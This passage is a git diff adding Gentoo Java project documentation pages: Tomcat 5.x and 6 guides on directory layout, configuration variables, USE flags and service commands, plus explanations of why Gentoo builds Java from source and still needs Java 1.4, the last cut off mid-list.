+          comply FHS, in addition to Gentoo-specific standards. Another major differences
+          is that Tomcat is compiled from source, along with the latest versions of any
+          dependencies and bundled libraries, which will also be compiled from source.
+          There are a number of smaller details, which will be covered in this guide.
+        </p>
+        <p>
+          This document will not cover <uri link="http://java.sun.com/products/servlet/">
+          Java Servlet Specifications</uri>, nor general
+          <uri link="http://tomcat.apache.org/">Tomcat configuration</uri>.
+          This document assumes the reader has a basic understanding of what a Java
+          Web Application is, consists of, and basics of how to configure a container for the
+          web application. 
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Layout</title>
+    <section>
+      <title>Standard Tomcat Layout</title>
+      <body>
+        <p>
+          The root directory of a typical Tomcat binary distribution is laid out as illustrated
+          in the following listing.
+        </p>
+        <pre caption="Standard Tomcat Root Directory Layout">
+/opt/tomcat-x.y/bin
+/opt/tomcat-x.y/common
+/opt/tomcat-x.y/conf
+/opt/tomcat-x.y/logs
+/opt/tomcat-x.y/server
+/opt/tomcat-x.y/shared
+/opt/tomcat-x.y/temp
+/opt/tomcat-x.y/webapps
+/opt/tomcat-x.y/work
+        </pre>
+      	<note>
+	      Substitute either 5, or 5.5 for x.y
+	    </note>
+      </body>
+    </section>
+
+    <section>
+      <title>Gentoo Tomcat Layout</title>
+      <body>
+        <p>
+          To comply with FHS and Gentoo standards, Tomcat has been dissected 
+	  and installed into the following locations.
+        </p>
+        <pre caption="Gentoo Tomcat Layout">
+/usr/share/tomcat-x.y/bin
+/usr/share/tomcat-x.y/common
+/etc/tomcat-x.y
+/var/log/tomcat-x.y/logs
+/usr/share/tomcat-x.y/server
+/var/lib/tomcat-x.y/shared
+/var/tmp/tomcat-x.y
+/var/lib/tomcat-x.y/webapps
+/var/run/tomcat-x.y
+</pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Configuration Files</title>
+      <body>
+        <p>
+          In addition to simply moving the Tomcat <path>/conf</path> directory under
+         <path>/etc</path>. There is a Gentoo-specific Tomcat configuration file
+         <path>etc/conf.d/tomcat-x.y</path>, which contains Tomcat variables that are
+         sourced by <path>/etc/init.d/tomcat-x.y</path>. These variables are:
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    JAVA_HOME: default is to be set to <c>$(java-config --jdk-home)</c>.
+                Changing this variable allows Tomcat to run with a VM other than the 
+                system VM
+              </li>
+              <li>
+        	    CATALINA_HOME: default is <path>/usr/share/tomcat-x.y</path>
+              </li>
+              <li>
+        	    CATALINA_BASE: default is <path>/var/lib/tomcat-x.y</path>
+              </li>
+              <li>
+        	    CATALINA_USER: default is tomcat
+              </li>
+              <li>
+        	    CATALINA_LIBDIR: default is typically 
+                <path>/usr/share/tomcat-x.y/server/lib</path>
+              </li>
+              <li>
+        	    CLASSPATH: default is <c>${CATALINA_LIBDIR}</c>
+              </li>
+              <li>
+        	    CATALINA_TMPDIR: default is <path>/var/tmp/tomcat-*</path>
+              </li>
+              <li>
+        	    TOMCAT_START: default is "start", with alternatives being "debug", 
+                "start -security", "debug -security", or "jpda start"
+              </li>
+              <li>
+        	    TOMCAT_STOP: default is "stop"
+              </li>
+              <li>
+        	    CATALINA_OPTS: not set by default , can be used to pass options to Java or 
+        	    Tomcat
+              </li>
+            </ul>
+          </dd>
+        </dl>
+        <p>
+	      The Gentoo init script is also installed into <path>/etc</path>, at
+          <path>/etc/init.d/tomcat-x.y</path> . Tomcat on Gentoo no longer uses
+          or modifies catalina.sh.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Web Applications</title>
+      <body>
+        <p>
+          The <path>/var/lib/tomcat-x.y/</path> contains a symlinks to other Tomcat 
+          directories, and the <path>webapps/</path> directory where actual web
+          applications go. This directory serves as the hub and is referenced by Tomcat
+          as the CATALINA_BASE.
+        </p>
+        <pre caption="Gentoo Tomcat Base and webapp location">
+conf -> /etc/tomcat-x.y
+logs -> /var/log/tomcat-x.y
+shared
+temp -> /var/tmp/tomcat-x.y
+webapps
+work -> /var/run/tomcat-x.y</pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Runtime Files</title>
+      <body>
+        <p>
+          These directories hold logs, temp, and working files used by Tomcat.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    <path>/var/tmp/tomcat-x.y</path> Tomcat's temporary directory
+              </li>
+              <li>
+        	    <path>/var/run/tomcat-x.y</path> Tomcat's working directory,
+      		    where  JSPs Java sources and resulting class files live
+              </li>
+              <li>
+        	    <path>/var/log/tomcat-x.y</path> Tomcat's logging directory
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Installation</title>
+    <section>
+      <title>Tomcat's USE flags</title>
+      <body>
+        <p>
+          Tomcat's USE flags are not any different from USE flags for any package on
+          Gentoo. Most are self-explanatory like doc, sources, and test. They are for 
+          documentation, sources, and running unit tests, correspondingly.
+        </p>
+        <p>
+          The admin USE flag determines if Tomcat's admin webapp will be built and
+	  installed. Using this flag also adds struts as a dependency to Tomcat.
+        </p>
+        <p>
+          The examples USE flag should be used for anyone new to Tomcat,
+          Java Web Application development, or just about anything beyond 
+	  deploying existing applications. When set, the examples USE flag
+	  will install the example web applications. Most all can safely 
+          ignore this USE flag, unless you are starting out.
+        </p>
+	<p>
+	  The java5 USE flag will build a Java 1.5 byte code version of 
+	  Tomcat 5.5.x. It will also reduce a consdierable amount of 
+	  dependencies since mx4j is dropped as a dependency when the 
+	  java5 USE flag is enabled.
+	</p>
+      </body>
+    </section>
+
+    <section>
+      <title>Emerge Tomcat</title>
+      <body>
+        <p>
+          Once you have the desired USE flags set in <path>/etc/make.conf</path>
+	      or <path>/etc/portage/package.use</path> and added packages names to
+	      <path>/etc/portage/package.keywords</path> it's time to actually install 
+	      Tomcat. Tomcat, like every other package on Gentoo, is installed by doing:
+        </p>
+        <pre caption="Command to download, compile, and install Tomcat">
+emerge tomcat</pre>
+        <warn>
+          Because Tomcat is compiled from source, along with all its
+	  dependencies, a lot of packages may be pulled in at emerge time.
+          Good news is, since it's Java, aside from download time, should
+          compile rather quickly even on older machines.
+        </warn>
+	<note>
+	  Tomcat 5.x versions have allot of questionable dependencies. Tomcat
+	  calls them optional core packages. Good news is Tomcat 6.0.x has
+	  a fraction of the dependencies of Tomcat 5.x.
+	</note>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Usage</title>
+    <section>
+      <title>Configuring Tomcat</title>
+      <body>
+        <p>
+          Depending on what Tomcat will be used for, one may or may not need to
+          finely configure Tomcat. If Tomcat is just a dependency of another
+	  application, one might be able to simple start
+          Tomcat, and request the application via a browser or etc at
+          http://127.0.0.1:8080/.
+        </p>
+        <p>
+          For most others, particularly developers, running more than one site under Tomcat, or etc.  will need to edit Tomcat's main configuration file
+          <path>/etc/tomcat-x.y/server.xml</path>. The syntax of that file,
+	  and configuration of Tomcat is beyond the scope of this document.
+	  Please refer to
+          <uri link="http://tomcat.apache.org/">Tomcat documentation</uri>
+          for more information.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Using a Specific VM</title>
+      <body>
+        <p>
+          By default, Tomcat will use the system VM controlled by
+	  <c>java-config</c> as-per the JAVA_HOME variable in
+	  <path>/etc/conf.d/tomcat-x.y</path>. One can
+          change that variable to point to any VM that is capable of
+	  running Tomcat. Then, when Tomcat is started, it will use the
+	  specified VM.
+        </p>
+      </body>
+    </section>
+    
+    <section>
+      <title>Logging</title>
+      <body>
+        <p>
+          With 5.5.x Logging has changed a bit. Tomcat no longer uses log4j by default.
+          Applications can still use log4j, however the jars have to be put onto the classpath manually.
+          Log4j is not used by a Tomcat install by default, same as upstream. For more
+          information please refer to Tomcat's documentation on logging. Despite this
+          change log4j is still a compile time dependency for now.
+          <uri>http://jakarta.apache.org/commons/logging/tech.html</uri>
+        </p>
+        <warn>
+         log4j.jar MUST be in the same directory as commons-logging.jar. The lowest 
+         classloader level they should be put in is common/lib. The recommended is
+         shared/lib, or in a specific webapp's WEB-INF/lib directory.
+        </warn>
+      </body>
+    </section>
+
+    <section>
+      <title>Starting/Stopping Tomcat</title>
+      <body>
+        <p>
+          Tomcat is started and stopped the same as any service on Gentoo.
+        </p>
+        <pre caption="Start Stop Restart Tomcat">
+/etc/init.d/tomcat-x.y [ start | stop | restart ]</pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Tomcat's Standard Web Applications</title>
+      <body>
+        <p>
+          By default we do not install Tomcat's admin, docs, or examples web
+	  application.
+	  We do, however, install Tomcat's ROOT and manager applications.
+	  However per upstream Tomcat policy, no usernames or passwords are
+	  configured by default. <path>/etc/tomcat-x.y/tomcat-users.xml</path>
+	  should be modified to add users
+        </p>
+        <pre caption="ROOT and Manager Web Application URLs">
+http://127.0.0.1:8080/
+http://127.0.0.1:8080/manager/html/
+        </pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Missing Jar - naming-factory-dbcp.jar</title>
+      <body>
+        <p>
+          Currently the naming-factory-dbcp.jar is not build by default. To build that jar
+          Tomcat robs .java source files from 3 other commons packages, collections, 
+          pool, and dbcp. There is no clean solution to compiling this jar at this time.
+          Suggestions, patches, or any assistance on compiling that jar is greatly 
+          appreciated.
+        </p>
+	<p>
+	  There are alternatives to this jar. You can use commons-dbcp.jar, or
+	  use the factory provided by most all jdbc drivers.
+	</p>
+        <note>
+          For the time being anyone who needs that jar should fetch it from a binary release
+          of Tomcat 5.0.x or 5.5.x. Just place the jar into common/lib and you will be all set.
+        </note>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Future</title>
+    <section>
+      <title>Future possibilities for Tomcat on Gentoo</title>
+      <body>
+        <p>
+          These are some features which are either in consideration, under development, 
+          or are only a dream. Ideally to be implemented in the order listed below.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    Gentoo Web Application integration support per
+              <uri link="http://www.gentoo.org/proj/en/glep/glep-0011.html">GLEP 11</uri>
+              </li>
+              <li>
+                Documentation on Tomcat's connectors and using them to connect to
+                Apache on Gentoo Linux.
+              </li>
+              <li>
+        	    Replace init script with one developed by a Tomcat developer<br />
+               <uri>http://www.webdroid.org:8080/repo/viewcvs.cgi/tomcat-package/trunk/bin/</uri>
+              </li>
+              <li>
+        	    Modify Tomcat init script or ebuild to use JSVC so Tomcat can run on 
+        	    unprivileged ports. This might not happen, as in there are other ways to do
+        	    this. We are working with upstream on this but are far from an ideal solution.
+                <br />
+                <uri>http://bugs.gentoo.org/show_bug.cgi?id=75224</uri>
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Problems</title>
+    <section>
+      <title>Where and who to report what to</title>
+      <body>
+        <p>
+          If you have problems, please stop and think if the problem is
+	  Gentoo related, or Tomcat specific. If you are not sure, please start
+	  with the Gentoo Java community and Team, which can be reached via
+	  the gentoo-java mailing list, or
+          #gentoo-java IRC channel on irc.freenode.net. Please file and
+	  report Gentoo related bugs, feature enhancement requests, and etc to
+          <uri>http://bugs.gentoo.org/</uri>
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/java/tomcat6-guide.xml b/xml/htdocs/proj/en/java/tomcat6-guide.xml
new file mode 100644
index 00000000..1d940167
--- /dev/null
+++ b/xml/htdocs/proj/en/java/tomcat6-guide.xml
@@ -0,0 +1,415 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/tomcat_guide.xml" lang="en">
+  <title>Tomcat Guide</title>
+
+  <author title="Author">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+  <author title="Editor">
+    <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+  </author>
+  <abstract>
+    This guide provides information on the layout, usage, and other things
+    related to Tomcat version 6.0.x and later on Gentoo Linux.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.1</version>
+  <date>2007-02-04</date>
+
+  <chapter>
+    <title>Introduction</title>
+    <section>
+      <body>
+        <p>
+	  Some aspects of Tomcat on Gentoo are slightly different than 
+	  how upstream handles it. This document aims to provide some 
+	  information on how it differs. This document is based on 
+	  Tomcat versions 6.0.x and later. Versions of Tomcat 
+	  older than 5.5.x should not be used, as it is discouraged by 
+	  upstream. Otherwise please use 6.0.x or 
+	  later when released.
+        </p>
+        <p>
+          The biggest initial difference on Gentoo is Tomcat being spread across 
+          multiple directories. That is because applications on Gentoo strive to
+          comply FHS, in addition to Gentoo-specific standards. Another major differences
+          is that Tomcat is compiled from source, along with the latest versions of any
+          dependencies and bundled libraries, which will also be compiled from source.
+          There are a number of smaller details, which will be covered in this guide.
+        </p>
+        <p>
+          This document will not cover <uri link="http://java.sun.com/products/servlet/">
+          Java Servlet Specifications</uri>, nor general
+          <uri link="http://tomcat.apache.org/">Tomcat configuration</uri>.
+          This document assumes the reader has a basic understanding of what a Java
+          Web Application is, consists of, and basics of how to configure a container for the
+          web application. 
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Layout</title>
+    <section>
+      <title>Standard Tomcat Layout</title>
+      <body>
+        <p>
+          The root directory of a typical Tomcat binary distribution is laid out as illustrated
+          in the following listing.
+        </p>
+        <pre caption="Standard Tomcat Root Directory Layout">
+/opt/tomcat-x.y/bin
+/opt/tomcat-x.y/conf
+/opt/tomcat-x.y/logs
+/opt/tomcat-x.y/lib
+/opt/tomcat-x.y/shared
+/opt/tomcat-x.y/temp
+/opt/tomcat-x.y/webapps
+/opt/tomcat-x.y/work
+        </pre>
+      	<note>
+	 Substitute 6 for x.y
+	</note>
+      </body>
+    </section>
+
+    <section>
+      <title>Gentoo Tomcat Layout</title>
+      <body>
+        <p>
+          To comply with FHS and Gentoo standards, Tomcat has been dissected 
+	  and installed into the following locations.
+        </p>
+        <pre caption="Gentoo Tomcat Layout">
+/usr/share/tomcat-x.y/bin
+/etc/tomcat-x.y
+/var/log/tomcat-x.y/logs
+/usr/share/tomcat-x.y/lib
+/var/lib/tomcat-x.y/shared
+/var/tmp/tomcat-x.y
+/var/lib/tomcat-x.y/webapps
+/var/run/tomcat-x.y
+        </pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Configuration Files</title>
+      <body>
+        <p>
+          In addition to simply moving the Tomcat <path>/conf</path> directory under
+         <path>/etc</path>. There is a Gentoo-specific Tomcat configuration file
+         <path>/etc/conf.d/tomcat-x.y</path>, which contains Tomcat variables that are
+         sourced by <path>/etc/init.d/tomcat-x.y</path>. These variables are:
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    JAVA_HOME: default is to be set to <c>$(java-config --jdk-home)</c>.
+                Changing this variable allows Tomcat to run with a VM other than the 
+                system VM
+              </li>
+              <li>
+        	    CATALINA_HOME: default is <path>/usr/share/tomcat-x.y</path>
+              </li>
+              <li>
+        	    CATALINA_BASE: default is <path>/var/lib/tomcat-x.y</path>
+              </li>
+              <li>
+        	    CATALINA_USER: default is tomcat
+              </li>
+              <li>
+        	    CATALINA_LIBDIR: default is typically 
+                <path>/usr/share/tomcat-x.y/lib</path>
+              </li>
+              <li>
+        	    CLASSPATH: default is <c>${CATALINA_LIBDIR}</c>
+              </li>
+              <li>
+        	    CATALINA_TMPDIR: default is <path>/var/tmp/tomcat-x.y</path>
+              </li>
+              <li>
+        	    TOMCAT_START: default is "start", with alternatives being "debug", 
+                "start -security", "debug -security", or "jpda start"
+              </li>
+              <li>
+        	    TOMCAT_STOP: default is "stop"
+              </li>
+              <li>
+        	    CATALINA_OPTS: not set by default , can be used to pass options to Java or 
+        	    Tomcat
+              </li>
+            </ul>
+          </dd>
+        </dl>
+        <p>
+	      The Gentoo init script is also installed into <path>/etc</path>, at
+          <path>/etc/init.d/tomcat-x.y</path> . Tomcat on Gentoo no longer uses
+          or modifies catalina.sh.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Web Applications</title>
+      <body>
+        <p>
+          The <path>/var/lib/tomcat-x.y/</path> contains <path>shared</path> for 
+          shared libraries, <path>webapps</path> for web applications, and symlinks 
+          to other Tomcat directories. This directory serves as the hub and is 
+          referenced by Tomcat as the CATALINA_BASE.
+        </p>
+        <pre caption="Gentoo Tomcat Base and webapp location">
+conf -> /etc/tomcat-x.y
+logs -> /var/log/tomcat-x.y
+shared
+temp -> /var/tmp/tomcat-x.y
+webapps
+work -> /var/run/tomcat-x.y</pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Runtime Files</title>
+      <body>
+        <p>
+          These directories hold logs, temp, and working files used by Tomcat.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    <path>/var/tmp/tomcat-x.y</path> Tomcat's temporary directory
+              </li>
+              <li>
+        	    <path>/var/run/tomcat-x.y</path> Tomcat's working directory,
+      		    where  JSPs Java sources and resulting class files live
+              </li>
+              <li>
+        	    <path>/var/log/tomcat-x.y</path> Tomcat's logging directory
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Installation</title>
+    <section>
+      <title>Tomcat's USE flags</title>
+      <body>
+        <p>
+          Tomcat's USE flags are not any different from USE flags for any package on
+          Gentoo. Most are self-explanatory like doc, source, and test. They are for 
+          documentation, sources, and running unit tests, correspondingly.
+        </p>
+        <p>
+          The examples USE flag should be used for anyone new to Tomcat,
+          Java Web Application development, or just about anything beyond 
+	  deploying existing applications. When set, the examples USE flag
+	  will install the example web applications. Most all can safely 
+          ignore this USE flag, unless you are starting out.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Emerge Tomcat</title>
+      <body>
+        <p>
+          Once you have the desired USE flags set in <path>/etc/make.conf</path>
+	      or <path>/etc/portage/package.use</path> and added packages names to
+	      <path>/etc/portage/package.keywords</path> it's time to actually install 
+	      Tomcat. Tomcat, like every other package on Gentoo, is installed by doing:
+        </p>
+        <pre caption="Command to download, compile, and install Tomcat">
+emerge tomcat</pre>
+        <warn>
+          Because Tomcat is compiled from source, along with all its
+	  dependencies, a lot of packages may be pulled in at emerge time.
+          Good news is, since it's Java, aside from download time, should
+          compile rather quickly even on older machines.
+        </warn>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Usage</title>
+    <section>
+      <title>Configuring Tomcat</title>
+      <body>
+        <p>
+          Depending on what Tomcat will be used for, one may or may not need to
+          finely configure Tomcat. If Tomcat is just a dependency of another
+	  application, one might be able to simple start
+          Tomcat, and request the application via a browser or etc at
+          http://127.0.0.1:8080/.
+        </p>
+        <p>
+          For most others, particularly developers, running more than one site under Tomcat, or etc.  will need to edit Tomcat's main configuration file
+          <path>/etc/tomcat-x.y/server.xml</path>. The syntax of that file,
+	  and configuration of Tomcat is beyond the scope of this document.
+	  Please refer to
+          <uri link="http://tomcat.apache.org/">Tomcat documentation</uri>
+          for more information.
+        </p>
+      </body>
+    </section>
+
+    <section>
+      <title>Using a Specific VM</title>
+      <body>
+        <p>
+          By default, Tomcat will use the system VM controlled by
+	  <c>java-config</c> as-per the JAVA_HOME variable in
+	  <path>/etc/conf.d/tomcat-x.y</path>. One can
+          change that variable to point to any VM that is capable of
+	  running Tomcat. Then, when Tomcat is started, it will use the
+	  specified VM.
+        </p>
+      </body>
+    </section>
+    
+    <section>
+      <title>Logging</title>
+      <body>
+        <p>
+          As of 5.5.x Logging has changed a bit. Tomcat no longer uses log4j by default.
+          Applications can still use log4j, however the jars have to be put onto the classpath manually.
+          For more information please refer to Tomcat's documentation on logging.
+          <uri>http://jakarta.apache.org/commons/logging/tech.html</uri>
+        </p>
+        <warn>
+         log4j.jar MUST be in the same directory as commons-logging.jar. The lowest 
+         classloader level they should be put in is /usr/share/tomcat-x.y/lib. The recommended is
+         /var/lib/tomcat-x.y/shared, or in a specific webapp's WEB-INF/lib directory.
+        </warn>
+      </body>
+    </section>
+
+    <section>
+      <title>Starting/Stopping Tomcat</title>
+      <body>
+        <p>
+          Tomcat is started and stopped the same as any service on Gentoo.
+        </p>
+        <pre caption="Start Stop Restart Tomcat">
+/etc/init.d/tomcat-x.y [ start | stop | restart ]</pre>
+      </body>
+    </section>
+
+    <section>
+      <title>Tomcat's Standard Web Applications</title>
+      <body>
+        <p>
+          By default we do not install Tomcat's admin, docs, or examples web
+	  application.
+	  We do, however, install Tomcat's ROOT and manager applications.
+	  However per upstream Tomcat policy, no usernames or passwords are
+	  configured by default. <path>/etc/tomcat-x.y/tomcat-users.xml</path>
+	  should be modified to add users
+        </p>
+        <pre caption="ROOT and Manager Web Application URLs">
+http://127.0.0.1:8080/
+http://127.0.0.1:8080/manager/html/
+        </pre>
+        <note>
+          As of 6.0.x the admin webapp is no longer shipped or developed.
+          It's not in the sources, nor available as a binary for download.
+        </note>
+      </body>
+    </section>
+
+    <section>
+      <title>Missing Jar - tomcat-dbcp.jar</title>
+      <body>
+        <p>
+          Currently the tomcat-dbcp.jar is not build by default. To build that jar
+          Tomcat robs .java source files from 3 other commons packages, collections, 
+          pool, and dbcp. There is no clean solution to compiling this jar at this time.
+          Suggestions, patches, or any assistance on compiling that jar is greatly 
+          appreciated.
+        </p>
+	<p>
+	  There are alternatives to this jar. You can use commons-dbcp.jar, or
+	  use the factory provided by most all jdbc drivers.
+	</p>
+        <note>
+          For the time being anyone who needs that jar should fetch it from a binary release
+          of Tomcat 6.0.x. Just place the jar into /lib and you will be all set.
+        </note>
+        <p>
+          For more information on the missing jar, please refer to 
+          <uri>http://bugs.gentoo.org/show_bug.cgi?id=144276</uri>
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Future</title>
+    <section>
+      <title>Future possibilities for Tomcat on Gentoo</title>
+      <body>
+        <p>
+          These are some features which are either in consideration, under development, 
+          or are only a dream. Ideally to be implemented in the order listed below.
+        </p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+        	    Gentoo Web Application integration support per
+              <uri link="http://www.gentoo.org/proj/en/glep/glep-0011.html">GLEP 11</uri>
+              </li>
+              <li>
+                Documentation on Tomcat's connectors and using them to connect to
+                Apache on Gentoo Linux.
+              </li>
+              <li>
+        	    Replace init script with one developed by a Tomcat developer<br />
+               <uri>http://www.webdroid.org:8080/repo/viewcvs.cgi/tomcat-package/trunk/bin/</uri>
+              </li>
+              <li>
+        	    Modify Tomcat init script or ebuild to use JSVC so Tomcat can run on 
+        	    unprivileged ports. This might not happen, as in there are other ways to do
+        	    this. We are working with upstream on this but are far from an ideal solution.
+                <br />
+                <uri>http://bugs.gentoo.org/show_bug.cgi?id=75224</uri>
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Problems</title>
+    <section>
+      <title>Where and who to report what to</title>
+      <body>
+        <p>
+          If you have problems, please stop and think if the problem is
+	  Gentoo related, or Tomcat specific. If you are not sure, please start
+	  with the Gentoo Java community and Team, which can be reached via
+	  the gentoo-java mailing list, or
+          #gentoo-java IRC channel on irc.freenode.net. Please file and
+	  report Gentoo related bugs, feature enhancement requests, and etc to
+          <uri>http://bugs.gentoo.org/</uri>
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/java/why-build-from-source.xml b/xml/htdocs/proj/en/java/why-build-from-source.xml
new file mode 100644
index 00000000..973a60ea
--- /dev/null
+++ b/xml/htdocs/proj/en/java/why-build-from-source.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/why_build_from_source.xml" lang="en">
+  <title>Why Build From Source</title>
+
+  <author title="Author">
+    <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+  </author>
+  <author title="Editor">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+  <abstract>
+    This document provides information on why one should and why we do build
+    FOSS Java applications from source instead of shipping pre-compiled
+    binaries.
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.1</version>
+  <date>2006-12-08</date>
+
+  <chapter>
+    <title>Why build from source?</title>
+    <section>
+      <body>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+		Building from source ensures that the source exists and
+		compiles properly, which is the basis of regular open-source 
+		development.
+              </li>
+              <li>
+		Bugs may be found and fixed between upstrem releases. By
+		compiling from source, we are able to isolate patches to
+		address such problems, without having to wait for upstream.
+              </li>
+              <li>
+		When security flaws are found, we want to be able to issue fix
+		as soon as possible. It is not always feasible to wait for the
+		upstream project to make a new release. With binary-only
+		packages, the only fix we can offer is disabling the software
+		entirely by masking it.
+              </li>
+              <li>
+		For immature library packages, where documentation is often
+		scanty, the user can easily run javadoc on the sources, as a 
+		stop-gap measure, without needing to dig out the source code
+		from upstream.
+              </li>
+              <li>
+		Although bytecode runs on every vm that supports the version of
+		the bytecode in question it does not mean that the bytecode
+		produced by different compilers is equal. Bytecode can be
+		optimized too. By building from source, we make it easy to
+		switch the compiler used to compile your installed java
+		programs.
+              </li>
+              <li>
+		In the future building, native compiling from Java source code
+		using gcj could become a serious option. If we try to add all
+		packages to the tree in a way where they are getting built from
+		their source code, we could make it possible in the future to
+		create native binaries from Java packages. With binary packages
+		this wouldn't be possible if upstream doesn't provide natively
+		compiled packages.
+              </li>
+              <li>
+		USE flags will normally impact on which features are to be
+		compiled in, and which dependencies are brought in.
+              </li>
+              <li>
+		End-users may want to manually patch or tweak the sources
+		between src_unpack and src_compile. 
+              </li>
+              <li>
+		It is common that we need to apply Gentoo-specific tweaks and
+		intermediary patches when upstream takes a long time to issue a
+		new release, which is almost always only possible when we
+		compile from sources.
+              </li>
+            </ul>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/java/why-we-need-java-14.xml b/xml/htdocs/proj/en/java/why-we-need-java-14.xml
new file mode 100644
index 00000000..d8496e96
--- /dev/null
+++ b/xml/htdocs/proj/en/java/why-we-need-java-14.xml
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/why_we_need_java_14.xml" lang="en">
+  <title>Why We Still Need Java 1.4</title>
+
+  <author title="Author">
+    <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+  </author>
+  <author title="Editor">
+    <mail link="wltjr@gentoo.org">William L. Thomson Jr.</mail>
+  </author>
+  <abstract>
+    This document provides information on why we still need Java 1.4 on 
+    Gentoo
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.0</version>
+  <date>2006-12-08</date>
+
+  <chapter>
+    <title>Primary Reasons</title>
+    <section>
+      <body>
+        <p>
+	  There are two primary reasons for requiring Java 1.4, with regards
+	  to Gentoo and building packages.
+        </p>
+        <dl>
+          <dd>
+            <ol>
+              <li>
+		There are still packages which don't compile when built with
+		Java 1.5. In these cases, the new Java build system switches to
+		a 1.4 JDK for building
+              </li>
+              <li>
+		It is needed for packages that haven't been migrated to use
+		the new Java system. This is necessary, otherwise we encounter
+		the same exact problems that prompted the initial package.mask
+		of Java 1.5.
+              </li>
+            </ol>
+          </dd>
+        </dl>
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>1.5 package.mask recap</title>
+    <section>
+      <title>Unable to build/compile</title>
+      <body>
+        <p>
+	  Just to recap why Java 1.5 was package was package.mask'd.... It
+	  really comes down to backwards compatibility, and that Java 1.5 isn't
+	  100% backwards compatible with Java 1.4. Things that ran with Java
+	  1.4 should still run with Java 1.5... but some things that once
+	  built with Java 1.4 no longer compile with Java 1.5.
+        </p>
+        <dl>
+          <dd>
+            <ol>
+              <li>
+		There's a new reserved keyword with Java 1.5, enum. So where
+		you used to be able to use enum as a variable name, you no
+		longer can in 1.5.
+              </li>
+              <li>
+		A number of new methods have been introduced to some abstract
+		classes and interfaces. If a particular implementation doesn't
+		implement the new methods, then it won't compile against Java
+		1.5.
+              </li>
+            </ol>
+          </dd>
+        </dl>
+      </body>
+    </section>
+
+    <section>
+      <title>UnsupportedClassVersionError</title>
+      <body>
+        <p>
+	  Now, say you're using Java 1.5 to build all your packages, and then
+	  you come up to a package that can't compile for one of these reasons?
+	  It'd fail for one. But then you may try with Java 1.4... and all is
+	  well until you see a compile error: UnsupportedClassVersionError.
+	  What does this mean though?
+        </p>
+        <p>
+	  Well, each major release of Java has it's own version of bytecode.
+	  Bytecode is forward compatible, ie run 1.4 bytecode in 1.5, but not
+	  backwards compatible. If you try to use 1.5 bytecode in 1.4, you will
+	  see the infernal UnsupportedClassVersionError. This happens because,
+	  since you were using Java 1.5, the dependencies of the package you
+	  were just trying to compile with 1.4 were built with 1.5, and the
+	  default behavior is to build the highest possible bytecode.
+        </p>
+        <p>
+	  So, these are the reasons Java 1.5 was package.mask'd, and why we
+	  need to use Java 1.4 for building unmigrated packages.
+        </p>
+      </body>
+    </section>
+  </chapter>
+
+
+  <chapter>
+    <title>How the new system helps</title>
+    <section>
+      <body>
+        <p>
+	  Here is a few reasons how the new java system helps correct the
+	  situation.
+	</p>
+        <dl>
+          <dd>
+            <ul>
+              <li>
+		We get around the problem of enum by specifically telling the
+		compiler to use source="1.4", where enum is a valid variable 
+		name.
+              </li>
+              <li>
+		We get around the changes in API by switching to a version
+		where it can be compiled, until such time as the package can be 
+		properly patched.
+              </li>
